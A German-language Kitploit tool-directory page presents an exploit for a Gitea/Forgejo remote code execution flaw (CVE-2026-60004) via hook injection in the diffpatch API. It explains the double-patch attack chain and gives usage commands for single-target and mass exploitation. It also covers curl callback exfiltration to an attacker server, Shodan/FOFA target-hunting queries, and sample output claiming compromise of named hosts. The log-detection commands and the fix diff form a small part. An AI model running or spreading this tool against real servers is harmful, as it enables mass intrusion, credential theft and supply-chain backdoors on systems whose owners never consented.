Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-60004 — CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-60004
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationData ExfiltrationPenetration TestingRed Teaming
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1

Repository anzeigen
vor 18 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-60004 — Gitea Diffpatch Git Hook RCE

Hook-Injection in Bare-Clones → post-index-change → Beliebige Befehlsausführung


Überblick

CVE-2026-60004 ist eine Pre-Authentication-Schwachstelle mit kritischem Schweregrad (CVSS 9.8) zur Remote-Codeausführung in den selbst gehosteten Git-Plattformen Gitea und Forgejo, die die Versionen 1.17 bis 1.27.0 betrifft.

Die Schwachstelle nutzt einen Designfehler bei Bare-Clones im API-Endpunkt POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea wendet vom Benutzer gelieferte Patches innerhalb eines temporären Bare-Clones an — wobei das Repository-Root-Verzeichnis $GIT_DIR selbst ist. Indem ein Angreifer denselben bösartigen Patch zweimal einreicht, löst er einen Add/Add-Konflikt aus, der den Three-Way-Merge-Fallback von Git (-3, Git 2.32+) dazu veranlasst, einen ausführbaren post-index-change-Hook direkt in $GIT_DIR/hooks/ zu schreiben. Git führt diesen Hook automatisch während der Index-Aktualisierung aus, was eine beliebige Befehlsausführung unter dem Gitea-Dienstkonto ermöglicht.

Schreibzugriff auf ein Repository ist erforderlich — trivial zu erhalten, da Gitea standardmäßig eine offene Registrierung ohne E-Mail-Verifizierung, Administratorfreigabe oder Limits für die Repository-Erstellung vorsieht.

Betroffene Versionen

VersionStatus
< 1.17Nicht betroffen (diffpatch-Route noch nicht eingeführt)
1.17 — 1.27.0Verwundbar
1.27.1+Behoben

Entdeckt von: Shai Rod (NightRang3r), 28. Juli 2026 Projekt: Gitea / Forgejo (selbst gehosteter Git-Dienst) Komponente: diffpatch-API-Endpunkt, temporärer Bare-Clone


Funktionsweise der Schwachstelle

Grundursache

Die Schwachstelle hat ihren Ursprung in einem einzelnen Parameter in services/repository/files/patch.go:

root@kitploit:~
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

In einem Bare-Clone gibt es kein Arbeitsverzeichnis — das Repository-Root-Verzeichnis ist $GIT_DIR. Ein bösartiger Patch, dessen Dateipfad hooks/post-index-change lautet, landet daher direkt im echten Hooks-Verzeichnis von Git und nicht in einem abgeschotteten Arbeitsverzeichnis.

Der git apply-Aufruf verschärft dies:

root@kitploit:~
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

Warum es funktioniert

  1. Bare-Clone bietet keine Sandbox — das Root-Verzeichnis des temporären Clones ist $GIT_DIR, daher führt der Pfad hooks/post-index-change direkt in das echte Hooks-Verzeichnis.
  2. --cached ist nicht wasserdicht — der -3-Three-Way-Fallback in Git 2.32+ schreibt während Add/Add-Konflikten zusammengeführte Ergebnisse in das Arbeitsverzeichnis, trotz des --cached-Flags.
  3. Doppeltes Einreichen löst den Konflikt aus — der erste apply fügt den Hook dem Index hinzu. Der zweite apply erzeugt eine Add/Add-Kollision, der Three-Way-Merge schreibt die Datei auf die Festplatte und Git führt sie aus.
  4. Git führt post-index-change automatisch aus — nach der Aktualisierung des Index führt Git diesen Hook, sofern vorhanden und ausführbar, bedingungslos aus. Keine Konfiguration erforderlich.
  5. Hook-Befehle können den Index NICHT verändern — git update-index innerhalb des Hooks verursacht einen Deadlock, da git apply die Index-Sperre hält. Verwenden Sie HTTP-Callbacks (curl) oder Reverse Shells zur Exfiltration von Ausgaben.

Angriffsablauf

root@kitploit:~
1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

Verifizierte Quellcode-Referenzen

Erkennung in Server-Logs

root@kitploit:~
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

Zentraler Designfehler

Der Unterschied zwischen einem Bare- und einem Nicht-Bare-Clone — ein einzelner boolescher Parameter — bestimmt, ob ein Patch-Pfad ein harmloser Arbeitsverzeichnis-Eintrag oder ein ausführbarer Hook ist, der direkt im internen Git-Verzeichnis landet. Der Fix ändert im Diff genau ein Zeichen (true → false), weshalb der Commit unter MISC als "refactor: git patch apply" bezeichnet wurde und nicht unter SECURITY. Die Operation, die auf den Index beschränkt sein sollte (--cached), wurde stillschweigend durch Gits eigene Three-Way-Merge-Mechanik aufgehoben, und keine zusätzliche Absicherung verhinderte, dass Hook-Dateien im $GIT_DIR des Bare-Clones erstellt wurden.


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

Verwendung

root@kitploit:~
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

Argumente

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Proof of Concept

Einzelnes Ziel

root@kitploit:~
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln (< 1.27.1) : YES
  RCE         : CONFIRMED
  Detection   : timing Δ 8.0s (hook sleep 4s)
  User        : poc_a1b2c3
  Time        : 9.5s

Massen-Scan

root@kitploit:~
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Targets: 259  |  Threads: 20

  [RCE] gitea.idetama.id              Δ8.7s (hook sleep 4s)
  [RCE] gitea.roan.id.au              Δ8.7s (hook sleep 4s)
  [DET] git.ofon.id                   | ⠼ [████░░░░░░░░░░░] 86/259 (33%)  Det:76  RCE:2

  ───────────────────────────────────────────────────────
  SCAN SUMMARY
  ───────────────────────────────────────────────────────
  Total           : 259
  RCE Confirmed   : 12
  Hook Failed     : 5
  Patched         : 25
  Errors          : 151
     Register fail : 85
     Login fail    : 42
     Repo fail     : 24
  Not Gitea       : 66
  ───────────────────────────────────────────────────────
  Detection method: timing
  Done | 77s

Callback-Ausgabe (automatisch pro Ziel gespeichert)

root@kitploit:~
callback-data/
├── index.txt
├── gitea.idetama.id/
│   ├── output_2026-08-03_120000.txt
│   └── latest.txt
├── gitea.roan.id.au/
│   └── ...

FOFA / Shodan

root@kitploit:~
FOFA:   title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"

Auswirkungen

Eine erfolgreiche Ausnutzung führt zu Remote-Codeausführung unter dem Gitea-Dienstkonto:

  • Extrahieren der app.ini-Konfiguration — Datenbank-Anmeldedaten, SMTP-Geheimnisse, OAuth-App-Schlüssel, LFS/JWT-Geheimnisse
  • Zugriff auf alle gehosteten Repositorys, Commit-Verläufe und LFS-Objekte
  • Wechsel zu internen Diensten, die vom Gitea-Host aus erreichbar sind (CI/CD, Paket-Registries, Container-Registries)
  • Bereitstellen persistenter Hintertüren über SSH-Schlüssel oder Schatten-Administratorkonten
  • Kompromittierung der Software-Lieferkette — Injizieren von Hintertüren in Repositorys, die von der Instanz bereitgestellt werden

Es ist kein Konto auf der Instanz erforderlich — die Registrierung ist standardmäßig offen.


Der Fix (1.27.1)

Gitea behob die Schwachstelle in Version 1.27.1 (Commit 470d34b), indem:

  • der temporäre Clone von bare auf non-bare umgestellt wurde, sodass vom Angreifer kontrollierte Dateipfade im Arbeitsverzeichnis landen statt direkt in $GIT_DIR/hooks/
  • ein warnender Kommentar hinzugefügt wurde, dass --index-Operationen unter bestimmten Bedingungen mit dem Arbeitsverzeichnis interagieren können
  • ein Unit-Test (TestGitPatchPrepare) hinzugefügt wurde, der bestätigt, dass der temporäre Clone nicht-bare ist, indem er auf ein .git-Unterverzeichnis prüft
root@kitploit:~
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

Der Fix erschien in den Versionshinweisen von 1.27.1 unter MISC als "refactor: git patch apply" und nicht unter SECURITY. Dadurch können Administratoren, die nur sicherheitsrelevante Changelog-Einträge durchsuchen, dieses kritische Update leicht übersehen. Das gleiche Bare-Clone-Muster in CherryPick wurde ebenfalls behoben.


Haftungsausschluss

NUR FÜR SCHULUNGSZWECKE UND AUTORISIERTE TESTS.

Nicht gegen Systeme verwenden, ohne die ausdrückliche Erlaubnis des Eigentümers. Die Autoren übernehmen keine Haftung für Missbrauch.


Referenzen

RessourceLink

Entdeckt von Shai Rod (NightRang3r). Nicht verbunden mit Gitea oder Forgejo.

Tool herunterladen
DateiZeile(n)Zweck
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — Erstellung des Bare-Clones
services/repository/files/patch.go206-209git apply mit den Flags --index --cached -3
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — speichert den Angreiferzustand
services/repository/files/cherry_pick.go~170Gleiches Bare-Clone-Muster in CherryPick (ebenfalls behoben)
Gitea-Fix-Commit470d34b
EntdeckerNightRang3r
CWE-94Code-Injection
Git-Hookpost-index-change